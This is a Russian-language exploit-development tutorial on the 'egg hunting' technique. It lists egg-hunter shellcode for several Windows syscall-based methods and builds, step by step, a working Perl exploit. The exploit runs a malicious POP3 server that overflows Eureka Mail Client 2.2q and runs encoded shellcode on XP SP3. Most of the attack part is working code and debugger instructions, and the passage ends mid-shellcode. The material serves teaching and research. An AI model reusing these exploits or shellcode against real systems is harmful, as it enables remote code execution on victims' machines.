Перейти к содержанию
Введение
Пасха еще далеко, так что самое время поговорить о способах охоты на яйца (чтобы вы были подготовлены к тому, когда пасхальный кролик принесет вам еще одну 0-day уязвимость).
В первых частях наших уроков, мы говорили о переполнении стека и о том, как он может привести к выполнению произвольного кода. Во всех эксплойтах, которые мы создавали до сих пор, место размещения шелкода было более или менее статическим, либо на него можно было сослаться с помощью регистра (вместо, жестко заданного адреса в стеке), что позволяло обеспечить стабильность и надежность его работы.
В некоторых частях, я говорили о различных техниках перехода (jump) на шеллкод, включая техники, которые использовали один или несколько джампов, чтобы добраться до шеллкода. В каждом демонстрационном примере, размер доступной памяти в стеке был достаточно большим, чтобы вместить весь наш шеллкод.
Но что, если доступный размер буфера слишком мал, чтобы вместить в себя весь шеллкод? Здесь нам может помочь техника с таким названием, как охота на яйца (egg hunting). Охота на яйца это такая техника, которая может быть категоризированна как «staged shellcode», и которая по сути позволяет использовать маленький кусок custom-шеллкода для нахождения настоящего (большого) шеллкода («яйца»). То есть, когда выполняется первый маленький кусок кода, он пытается найти и выполнить настоящий шеллкод.
Для того, чтобы эта техника работала, должны быть соблюдены три важных условия:- Вы должны иметь возможность перейти на (JMP, CALL, PUSH/RET) и выполнить «некоторый» шеллкод. Количество доступного пространства в буфере может быть относительно маленьким, поскольку этот буфер будет содержать только, так называемого, «охотника за яцами» (egg hunter). Код охотника должен находиться в предсказуемом месте (так что бы вы могли гарантированно прейти на него и выполнить его).
- Конечный шеллкод должен располагаться где-то в памяти (стеке/куче/etc).
- Вам нужно «пометить» начало конечного шеллкода уникальной строкой/маркером/тегом. Начальный шеллкод (меленький кусок кода «охотника за яйцами») будет искать этот маркер в памяти. Как только он найдет его, он запустит шеллкод, который будет размещен сразу за маркером, с помощью инструкции JMP или CALL. Это означает, что вам нужно определить маркер в коде охотника, а так же поместить его в начало конечного шеллкода.
Поиск в памяти достаточно ресурсоёмкая задача и может потребовать времени. Так что, когда используется охотник за яйцами, вы можете заметить что:- на мгновение (во время поиска) задействуется вся память процессора.
- это может занять некоторое время, прежде чем шеллкод будет выполнен (представьте, что у вас 3Гб ОЗУ).
История и базовые методы
Лишь небольшое количество мануалов было написано на эту тему: Skape недавно написал отличную статью по этой теме, так же вы можете найти некоторую информацию по охоте за яцами в куче, здесь.
Документ Skape в действительности является лучшей ссылкой на охоту за яйцами, которую только можно найти в Интернете. Он содержит много методов и примеров для Linux и Windows, и четко объясняет, как работает охотник и как можно производить поиск в памяти безопасным способом.
Я не собираюсь повторять здесь технические детали, относительно охоты за яйцами, поскольку документ Скэйпа достаточно подробный и сам говорит за себя. Вместо этого, я использую несколько примеров, чтобы показать, как их можно применить для переполнения стека.
Вам просто нужно помнить:- Маркер должен быть уникальным (обычно, вам нужно определить тег длиной в 4 байта внутри охотника и два раза повторить его (т.е. у вас получится маркер длиной в 8 байт) в начале конечного шеллкода).
- Вам нужно проверить, какой из методов лучше всего подходит для поиска в памяти конкретно для вашего эксплойта. Метод, основанный на NTAccessCheck (AndAuditAlarm), кажется, работает лучше всего на моей системе.
- Каждый метод требует определённого количества свободного места для размещения кода охотника:
SEH-метод использует около 60 байт, IsBadReadPtr требует 37 байт, NtDisplayString 32 байта. Последний метод, работает только на NT версиях Windows. Остальные так же должны работать под Windows 9x.
Код охотника за яйцами
Как объяснялось выше, эксплойтов под Windows, Скэйп обрисовал три разных метода охоты за яйцами. Снова же, я не собираюсь приводить точные объяснения относительно работы охотников, а просто познакомлю вас с их кодом, который необходим для их реализации.
Решение об использовании конкретного охотника, основывается на:- доступном (для размещения охотника) размере буфера.
- является ли конкретный метод для конкретного эксплойта, рабочим на вашей машине или нет.
Охотник использующий SEH-injection
Размер охотника = 60 байт, размер маркера = 8 байт.
Code:
EB21 jmp short 0x23
59 pop ecx
B890509050 mov eax,0x50905090 ; this is the tag
51 push ecx
6AFF push byte -0x1
33DB xor ebx,ebx
648923 mov [fs:ebx],esp
6A02 push byte +0x2
59 pop ecx
8BFB mov edi,ebx
F3AF repe scasd
7507 jnz 0x20
FFE7 jmp edi
6681CBFF0F or bx,0xfff
43 inc ebx
EBED jmp short 0x10
E8DAFFFFFF call 0x2
6A0C push byte +0xc
59 pop ecx
8B040C mov eax,[esp+ecx]
B1B8 mov cl,0xb8
83040806 add dword [eax+ecx],byte +0x6
58 pop eax
83C410 add esp,byte+0x10
50 push eax
33C0 xor eax,eax
C3 ret
Чтобы использовать этого охотника, ваш payload должен выглядеть следующим образом:
Code: Perl
my $egghunter = "\xeb\x21\x59\xb8".
"w00t".
"\x51\x6a\xff\x33\xdb\x64\x89\x23\x6a\x02\x59\x8b\ xfb".
"\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\ xeb".
"\xed\xe8\xda\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\ xb1".
"\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x33\xc0\ xc3";
(Где w00t является тегом/маркером. Так же вы можете записать w00t как «\x77\x30\x30\x74»)
ПРИМЕЧАНИЕ: SEH-injection скорее всего устарел, поскольку механизм SafeSEH стал стандартом де-факто в новых операционных системах и сервис паках. Таким образом, если вам нужно использовать этого охотника на XP SP3, Vista, Win7, Win8, etc, то вам нужно либо обойти SafeSEH тем или иным образом, либо использовать другого охотника (см. ниже).
Охотник использующий IsBadReadPtr
Размер охотника = 37 байт, размер маркера = 8 байт.
Code:
33DB xor ebx,ebx
6681CBFF0F or bx,0xfff
43 inc ebx
6A08 push byte +0x8
53 push ebx
B80D5BE777 mov eax,0x77e75b0d
FFD0 call eax
85C0 test eax,eax
75EC jnz 0x2
B890509050 mov eax,0x50905090 ; this is the tag
8BFB mov edi,ebx
AF scasd
75E7 jnz 0x7
AF scasd
75E4 jnz0x7
FFE7 jmp edi
Payload охотника:
Code: Perl
my $egghunter = "\x33\xdb\x66\x81\xcb\xff\x0f\x43\x6a\x08".
"\x53\xb8\x0d\x5b\xe7\x77\xff\xd0\x85\xc0\x75\xec\ xb8".
"w00t".
"\x8b\xfb\xaf\x75\xe7\xaf\x75\xe4\xff\xe7";
Охотник использующий NtDisplayString
Размер охотника = 32 байта, размер маркера = 8 байт.
Code:
6681CAFF0F or dx,0x0fff
42 inc edx
52 push edx
6A43 push byte +0x43
58 pop eax
CD2E int 0x2e
3C05 cmp al,0x5
5A pop edx
74EF jz 0x0
B890509050 mov eax,0x50905090 ; this is the tag
8BFA mov edi,edx
AF scasd
75EA jnz 0x5
AF scasd
75E7 jnz 0x5
FFE7 jmp edi
Payload охотника:
Code: Perl
my $egghunter =
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\ x3C\x05\x5A\x74\xEF\xB8".
"w00t".
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
Его же вид в Immunity:
Охотник использующий NtAccessCheck (AndAuditAlarm)
Еще один охотник, который очень похож на охотника из NtDisplayString:
Code:
my $egghunter =
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # this is the marker/tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
Чтобы предотвратить нарушение прав доступа из-за действий охотника, здесь, вместо функции NtDisplayString, используется функция NtAccessCheckAndAuditAlarm (смещение 0x2 в KiServiceTable). Больше информации об NtAccessCheck можно найти здесь и здесь. Так же, мой друг Линкольн создал хорошее видео по этому охотнику: посмотреть его можно здесь.
Краткое объяснение того, как работают охотники NtDisplayString / NtAccessCheckAndAuditAlarm
Эти два охотника используют похожую технику, отличие состоит в различных системных вызовах, которые используются для того, чтобы проверить, происходит нарушение прав доступа или нет (и чтобы пережить его появление).
Прототип функции NtDisplayString:
Code:
NtDisplayString(
IN PUNICODE_STRING String );
Прототип функции NtAccessCheckAndAuditAlarm:
Code:
NtAccessCheckAndAuditAlarm(
IN PUNICODE_STRING SubsystemName OPTIONAL,
IN HANDLE ObjectHandle OPTIONAL,
IN PUNICODE_STRING ObjectTypeName OPTIONAL,
IN PUNICODE_STRING ObjectName OPTIONAL,
IN PSECURITY_DESCRIPTOR SecurityDescriptor,
IN ACCESS_MASK DesiredAccess,
IN PGENERIC_MAPPING GenericMapping,
IN BOOLEAN ObjectCreation,
OUT PULONG GrantedAccess,
OUT PULONG AccessStatus,
OUT PBOOLEAN GenerateOnClose );
Прототип можно найти на http://undocumented.ntinternals.net/
Вот то, что делает код охотника:
Code: ASM
6681CAFF0F or dx,0x0fff ; get last address in page
42 inc edx ; acts as a counter
;(increments the value in EDX)
52 push edx ; pushes edx value to the stack
;(saves our current address on the stack)
6A43 push byte +0x2 ; push 0x2 for NtAccessCheckAndAuditAlarm
; or 0x43 for NtDisplayString to stack
58 pop eax ; pop 0x2 or 0x43 into eax
; so it can be used as parameter
; to syscall - see next
CD2E int 0x2e ; tell the kernel i want a do a
; syscall using previous register
3C05 cmp al,0x5 ; check if access violation occurs
;(0xc0000005== ACCESS_VIOLATION) 5
5A pop edx ; restore edx
74EF je xxxx ; jmp back to start dx 0x0fffff
B890509050 mov eax,0x50905090 ; this is the tag (egg)
8BFA mov edi,edx ; set edi to our pointer
AF scasd ; compare for status
75EA jnz xxxxxx ; (back to inc edx) check egg found or not
AF scasd ; when egg has been found
75E7 jnz xxxxx ; (jump back to "inc edx")
; if only the first egg was found
FFE7 jmp edi ; edi points to begin of the shellcode
Реализация охотника за яйцами
Для того чтобы продемонстрировать работу охотника, используем недавно обнаруженную уязвимость в Eureka Mail Client v2.2q, открытую Фрэнсисом Провенкэром. Вы можете получить копию уязвимого приложения здесь:
Eureka Mail Client v2.2q (2.6 MiB, 594 hits)
Установите приложение. Его настройкой займемся немного позже.
Уязвимость в этом приложении срабатывает в момент, когда клиент соединяется с POP3-сервером. Если POP3-сервер посылает длинные или специально созданные «-ERR» данные клиенту, то приложения клиента дает сбой, благодаря которому может быть выполнен произвольный код.
Давайте создадим эксплойт под XP SP3 English (VirtualBox).
Используем несколько простых строк Perl кода для установки фэкового POP3-сервера, с помощью которого, пошлем приложению строку длиной в 2000 байт (metasploit pattern).
Прежде всего скачайте плагин pvefindaddr для Immunity Debugger. Положите его в папку PyCommands отладчика Immunity Debugger, после чего запустите сам отладчик.
Создайте metasploit pattern, из 2000 символов, внутри Immunity Debugger, используя следующую команду:
Code:
!pvefindaddr pattern_create 2000
В папке отладчика, найди созданный файл «mspattern.txt», содержащий 2000 символов metasploit паттерна.
Откройте файл и скопируйте строку в буфер обмена.
Теперь создайте perl-скрипт эксплойта и используйте строку из 2000 символов в качестве payload (в $junk)
Code: Perl
use Socket;
#Metasploit pattern"my $junk = "Aa0..."; #paste your 2000 bytes pattern here
my $payload=$junk;
#set up listener on port 110
my $port=110;
my $proto=getprotobyname('tcp');
socket(SERVER,PF_INET,SOCK_STREAM,$proto);
my $paddr=sockaddr_in($port,INADDR_ANY);
bind(SERVER,$paddr);
listen(SERVER,SOMAXCONN);
print "[+] Listening on tcp port 110 [POP3]... \n";
print "[+] Configure Eureka Mail Client to connect to this host\n";
my $client_addr;
while($client_addr=accept(CLIENT,SERVER))
{
print "[+] Client connected, sending evil payload\n";
while(1)
{
print CLIENT "-ERR ".$payload."\n";
print " -> Sent ".length($payload)." bytes\n";
}
}
close CLIENT;
print "[+] Connection closed\n";
ПРИМЕЧАНИЕ:- Для этого урока важно использовать Metasploit паттерн, а не 2000 символов… Позже вам станет ясно почему это так важно.
- Если 2000 символов не вызовут переполнения или краша (crash), попробуйте использовать 5000 символов Metasploit паттерна.
- Я использую цикл while(1), потому что клиентское приложения не дает сбой после первого ERR-пэйлоада. Я знаю, что было бы лучше, если бы мы определили, сколько конкретно должно пройти итераций цикла, чтобы приложение дало сбой, но мне нравится использовать безконечные циклы, потому что они работают почти всегда.
Запустите Perl скрипт. Его вывод будет следующим:
Теперь запустите Eureka Mail Client. Перейдите в «Options => Connection Settings» и заполните IP-адрес хоста, на котором запущен Perl скрипт в качестве POP3-сервера. В моем примере, я запустил скрипт на хосте с адресом 192.168.0.193, так что моя конфигурация выглядит следующим образом:
Вам нужно будет ввести что-нибудь в поля POP Username и Password, вводить можно все что угодно, это не играет ни какой роли. После того, как все данные будут введены - сохраните настройки.
Теперь присоедините Immunity Debugger к приложению Eureka Email и дайте ему поработать.
Когда Eureka Mail Client будет запущен (с присоединенным Immunity), перейдите в нем на вкладку «File» и выберите «Send and receive emails».
Приложение умирает. Вы можете остановить Perl скрипт (помните, что он все еще работает). Посмотрите в окно Log и регистры отладчика: «Access violation when executing [37784136]»
Регистры выглядят следующим образом:
Теперь запустите следующую команду:
Code:
!pvefindaddr suggest
Сейчас вам станет ясно, почему я использовал Metasploit паттерн, вместо обычных символов «A». После выполнения команды !pvefindaddr, плагин вычислит место сбоя, попытается сказать к какому виду эксплойтов относится уязвимость и даже попытается построить пример полезной нагрузки с правильными смещениями:
Жизнь прекрасна 
Итак, теперь мы знаем, что:- Это прямая перезапись RET. RET перезаписывается после 710 байт (VirtualBox). Я заметил, что в зависимости от длины IP-адреса или имени хоста, который использовался для обращения к POP3-серверу (в настройках соединения Eureka Email), смещение перезаписываемого RET может варироваться. Так что, если вы используете адрес 127.0.0.1 (который на 4 байта короче, чем 192.168.0.193), смещение будет равно 714 байтам. Существует способ, чтобы создать общий эксплойт: взять длину локального IP-адреса (поскольку именно к нему будет подключаться клиент Eureka Mail) и вычислить смещение, основывая на его длине. (723 байта – длина IP).
- Оба регистра ESP и EDI ссылаются на шеллкод. ESP указывает на место после 714 байт, а EDI указывает на смещение в 991 байт (cнова же, измениnе данные смещения на те, которые вы нашли на своей машине).
Пока все хорошо. Мы можем перейти (jump) на EDI или ESP.
ESP указывает на адрес стека (0x0012cd6c), а EDI указывает на адрес в секции .data приложения (0×00473678 – см. на карту памяти)
Если посмотрите на ESP, то увидите, что мы имеем ограниченное пространство под шеллкод.
Конечно, вы можете перейти (jump) на ESP и записать там (в ESP) обратный переход, чтобы иметь возможность использовать большую часть буфера, которая находится перед перезаписью RET. Но у вас по-прежнему мало места, примерно 700 байт (этого достаточно для вызова calc.exe или еще каких-нибудь примитивных вещей…).
Также может работать переход на EDI. Используйте команду «!pvefindaddr j edi», чтобы найти все инструкции «JMP EDI». Я буду использовать 0x7E47B533 (из user32.dll на XP SP3). Измените скрипт и проверьте будет ли работать эксплойт:
Code: Perl
use Socket;
#fill out the local IP or hostname
#which is used by Eureka EMail as POP3 server
#note : must be exact match !
my $localserver = "192.168.0.193";
#calculate offset to EIP
my $junk = "A" x (723 - length($localserver));
my $ret=pack('V',0x7E47B533); #jmp edi from user32.dll XP SP3
my $padding = "\x90" x 277;
#calc.exe
my $shellcode="\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x 59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\ x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\ x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\ x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\ x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\ x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\ x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\ x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\ x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\ x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\ x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\ x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\ x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\ x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\ x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\ x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\ x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\ x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\ x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\ x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\ x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
my $payload=$junk.$ret.$padding.$shellcode;
#set up listener on port 110
my $port=110;
my $proto=getprotobyname('tcp');
socket(SERVER,PF_INET,SOCK_STREAM,$proto);
my $paddr=sockaddr_in($port,INADDR_ANY);
bind(SERVER,$paddr);
listen(SERVER,SOMAXCONN);
print "[+] Listening on tcp port 110 [POP3]... \n";
print "[+] Configure Eureka Mail Client to connect to this host\n";
my $client_addr;
while($client_addr=accept(CLIENT,SERVER))
{
print "[+] Client connected, sending evil payload\n";
while(1)
{
print CLIENT "-ERR ".$payload."\n";
print " -> Sent ".length($payload)." bytes\n";
}
}
close CLIENT;
print "[+] Connection closed\n";
Присоедините отладчик к Eureka и установите брейкпойнт на адрес 0x7E47B533 (JMP EDI).
Запустите эксплойт. Отладчик остановится на JMP EDI. Если сейчас посмотрим на регистры, то вместо нахождения нашего шеллкода в EDI, мы увидим символы A. Это не то, что мы ожидали, но пока все нормально, так как мы контролируем эти символы. Однако, этот сценарий будет более или менее похож на предыдущий, с использованием JMP ESP, т.е. мы будем иметь примерно 700 байт пространства для нашего шеллкода. (Конечно, в качестве альтернативы, вы могли бы использовать нупы (NOP), вместо символов A, и записать short jump прежде чем RET будет перезаписан. Затем разместить шеллкод сразу после перезаписанного RET, что будет так же работать.)

Но давайте на этот раз пойдем более «сложным» путем, просто чтобы продемонстрировать, как он работает. Хотя мы видим символы A на том месте, где мы могли бы ожидать увидеть шеллкод, наш шеллкод размещен где-то в памяти. Если мы посмотрим немного дальше, то увидим, что шеллкод расположен по адресу 0×00473992:

Этот адрес, скорее всего, не постоянный… Давайте сделаем эксплойт более надежным задействовав для этого дела охотника за яйцами, который найдет и выполнит шеллкод.
Мы будем использовать initial jmp to esp (because esp is only 714 bytes away), поместите охотника в ESP, затем добавьте некоторое смещение (padding), после которого разместите реальный шеллкод (с маркером в наче)… Теперь не важно, где будет размещен наш шеллкод, охотник найдет и выполнит его.
Код охотника выглядит так (в этом примере я использовал метод NtAccessCheckAndAuditAlarm):
Code: Perl
my $egghunter =
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\ x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # this is the marker/tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
В этом примере использован тэг w00t. 32-байтный шеллкод охотника будет искать в памяти строку «w00tw00t» и как только найдет её, выполнит код, который будет находиться за ней. Код охотника нужно разместить по адресу из ESP.
Когда будем добавлять шеллкод в payload, его нужно будет предварить выше указанной строкой «w00tw000t» (одной из причин, повторения тэга два раза, состоит в том, что бы охотник, случайно, не принял свою строку «w000t» за начало яичного шеллкода).
Сначала, найдите JMP ESP (!pvefindaddr j esp). Я использую 0x7E47BCAF (jmp esp) из user32.dll (XP SP3)
Затем измените скрипт эксплойта следующим образом:- перезапишите EIP, после 710 байт, инструкцией JMP ESP.
- поместите $egghunter в ESP. Охотник будет искать «w00tw00t».
- добавьте смещение (padding). Им может быть что-угодно… нупы, символы A, etc.
- поместите маркер «w00tw00t».
- после маркера «w00tw00t» поместите реальный шеллкод,
Code: Perl
use Socket;
#fill out the local IP or hostname
#which is used by Eureka EMail as POP3 server
#note : must be exact match !
my $localserver = "192.168.0.193";
#calculate offset to EIP
my $junk = "A" x (723 - length($localserver));
my $ret=pack('V',0x7E47BCAF); #jmp esp from user32.dll
my $padding = "\x90" x 1000;
my $egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\ x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # this is the marker/tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
#calc.exe
my $shellcode="\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x 59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\ x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\ x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\ x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\ x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\ x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\ x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\ x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\ x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\ x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\ x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\ x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\ x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\ x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\ x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\ x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\ x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\ x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\ x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\ x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\ x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
my $payload=$junk.$ret.$egghunter.$padding."w00tw00t" .$shellcode;
#set up listener on port 110
my $port=110;
my $proto=getprotobyname('tcp');
socket(SERVER,PF_INET,SOCK_STREAM,$proto);
my $paddr=sockaddr_in($port,INADDR_ANY);
bind(SERVER,$paddr);
listen(SERVER,SOMAXCONN);
print "[+] Listening on tcp port 110 [POP3]... \n";
print "[+] Configure Eureka Mail Client to connect to this host\n";
my $client_addr;
while($client_addr=accept(CLIENT,SERVER))
{
print "[+] Client connected, sending evil payload\n";
while(1)
{
print CLIENT "-ERR ".$payload."\n";
print " -> Sent ".length($payload)." bytes\n";
}
}
close CLIENT;
print "[+] Connection closed\n";
Присоедините отладчик к Eureka Mail и установите брейкпойнт по адресу 0x7E47BCAF. Запустите Eureka Mail.
Запустите эксплойт. Отладчик остановится на брейкпойнте (инструкции JMP ESP).
Посмотрите на ESP (перед тем как будет сделан переход):
Мы увидим, что наш охотник расположен по адресу 0x0012cd6c.
По адресу 0x12cd7d (mov eax,74303077), мы найдем нашу строку «w00t».

После продолжения выполнение приложения должен появится calc.exe.

Отлично.
В качестве маленького упражнения, давайте попробуем определить, где именно в памяти находится шеллкод.
Поместите брейкпойнт между маркером и шеллкодом (т.е. поместите перед шеллкодом 0xСС) и снова выполните эксплойт (не забыв присоединить отладчик к приложению).

Яйцо с шеллкодом было найдено в секции ресурсов приложения.

Из этого следует, что охотник за яйцами (по адресу 0x0012cd6c) будет осуществлять поиск в памяти, до тех пор пока не достигнет адреса 0x004739AD.
Если вернемся назад (поместите брэйкпойнт по адресу из JMP ESP) и посмотрим на стек, то мы увидим следующее:

Несмотря на тот факт, что шеллкод был расположен далеко от охотника, это заняло не много времени для того, чтобы он смог найти местоположение яйца и выполнить шеллкод. Круто!
Но что если шелкод не в куче (heap)? Как мы можем найти все экземпляры шелкода в памяти? Что если поиск займет много времени? Что если нам нужно настроить охотника так, чтобы он начинал поиск с определённого места в памяти? И существует ли способ изменить место, откуда охотник будет начинать свой поиск? Много вопросов, давайте продолжим и ответим на их.
Настройка начальной позиции поиска в охотнике (ради забавы, скорости и надежности)
Когда охотник из нашего примера начинает выполняться, он исполнит следующие инструкции:
(Давайте представим, что EDX в данный момент указывает на 0x0012E468, а яйцо находится по 0x0012f555 или что-то около того)
Code:
0012F460 66:81CA FF0F OR DX,0FFF
0012F465 42 INC EDX
0012F466 52 PUSH EDX
0012F467 6A 02 PUSH 2
0012F469 58 POP EAX
Первая инструкция поместит в EDI значение 0x0012FFFF. Следующая инструкция (INC EDX) увеличит EDC на 1, таким образом, EDX будет указывать на 0×00130000. Это конец текущего кадра стека, таким образом, поиск начнется даже не с того места, где он бы смог потенциально найти копию шеллкода, т.е. в том же самом кадре стека. (Окей, в нашем примере, нет копии шеллкода в данном местоположении, но это может иметь место). Яйцо находится где-то в памяти и охотник в конечном счете найдет его. Здесь нет никаких проблем.
Если шеллкод может быть найден только в текущем кадре стека (что бывает довольно редко, хотя случается и такое), то он не может быть найден этим охотником (потому, что охотник начинает поиск «после» места расположения шеллкода…). Очевидно, что если вы можете выполнить несколько строк кода и шеллкод находится в стеке, то вероятно будет проще просто прямо перейти (jump) на шеллкод, используя для этого «near» или «far jump» с использованием смещения (offset)… Но, скорее всего, это будет не надежным решением.
В любом случае, может быть случай, когда вам нужно немного настроить код охотника так, чтобы он начинал свой поиск с нужного места (т.е. позиционируя себя перед яйцом и как можно ближе к его место положению).
Проведите небольшую откладку и вы увидите с какого места начинается поиск (смотрите на регистр EDI, во время запуска охотника). Если требуется изменение охотника, то может быть стоит немного поиграть с его первой инструкцией. Замена FF0F на 00 00 позволит вам, осуществлять поиск в текущем кадре стека, если это требуется… Конечно, это приведет к тому, что охотник будет содержать нулевые байты и вам, вероятно, придется иметь с ними дело. Если это проблема, то вам вероятно придется проявить немного креативности.
Могут быть и другие способы, чтобы спозиционировать себя ближе к требуемому месту, например, путем замены «0×66, 0×81, 0xca, 0xff, 0x0f» некоторыми инструкциями, которые бы зависели от ваших требований. Вот несколько примеров:- Найти начало текущего кадра стека и поместить его значение в EDI
- Переместить содержимое другого регистра в EDI
- Найти начало кучи и поместить её значение в EDI (фактически, из TEB+0x30 получить PEB, после чего получить список всех куч для процесса, с помощью PEB+0x90). За более подробной информацией о создании heap-ориентированного охотника обращайтесь к этому документу.
- Найти адрес image base и поместить его в EDI
- Положить кастомное (custom) значение в EDI (опасно – это подобно жестко заданному адресу, поэтому убедитесь в том, что всё, что вы положите в EDI, будет размещено ПЕРЕД яйцом). Вы можете посмотреть на другие регистры, в момент, когда будет работать код охотника и выяснить, может ли один из них быть помещен в EDI, чтобы спозиционировать охотника ближе к яйцу. В качестве альтернативы, посмотрите на то, что находится в ESP (возможно несколько инструкций POP EDI, смогут поместить что-нибудь полезное в EDI).
- etc.
Конечно, настройка позиционирования (места начального поиска) рекомендуется только в том случае если:- Скорость действительно является проблемой.
- По-другому эксплойт не работает.
- Вы можете выполнить изменение универсальным способом или если вы создаете кастомный эксплойт, который должен отработать только один раз.
В любом случае, я просто хочу сказать, что вы должны проявить немного креативности, чтобы создать лучший, быстрый, наименьший, etc эксплойт.
Эй, в большинстве случаев, охотник за яйцами работает хорошо! Почему нам всегда необходимо изменять стартовый адрес?
Хороший вопрос.
Может быть случай, когда яйцо (маркер+шеллкод) будут размещены в нескольких местах в памяти, и некоторые из этих копий могут быть повреждены/усечены/etc. В данном конкретном сценарии, существует хорошая предпосылка к тому, чтобы изменить адрес, с которого охотник начинает поиск, таким образом, он может попытаться избежать поврежденные копии. В конце концов, охотник ищет только 8 байтовый маркер, а не весь шеллкод находящийся за ним.
Хороший способ узнать, нужно ли изменять начальный адрес поиска охотника или нет, это выяснить:- Где в памяти находится шеллкод;
- И поврежден ли он или нет.
Все это можно сделать при помощи команды «!pvefindaddr compare», которая была добавлена в плагин версии 1.16.
В действительности, эта фича была добавлена для сравнения шеллкода в памяти с шеллкодом из файла, но она будет осуществлять динамический поиск всех экземпляров шеллкода. Таким образом, вы сможете увидеть, где был найден шеллкод и был ли он изменён/обрезан или нет. Используя эту информацию, вы сможете принять решение, нужно ли вам настраивать начальную позицию для поиска или нет, и если её нужно изменить, то где это изменение нужно сделать.
Небольшой демонстрационный пример того, как сравнить шеллкод:
Вначале, вам нужно записать шеллкод в файл. Для этого вы можете использовать небольшой скрипт, подобный этому:
Code: Perl
# write shellcode for calc.exe to file called code.bin
# you can - of course - prepend this with egghunter tag
# if you want
#
my $shellcode="\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x 59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\ x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\ x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\ x42\x42" .
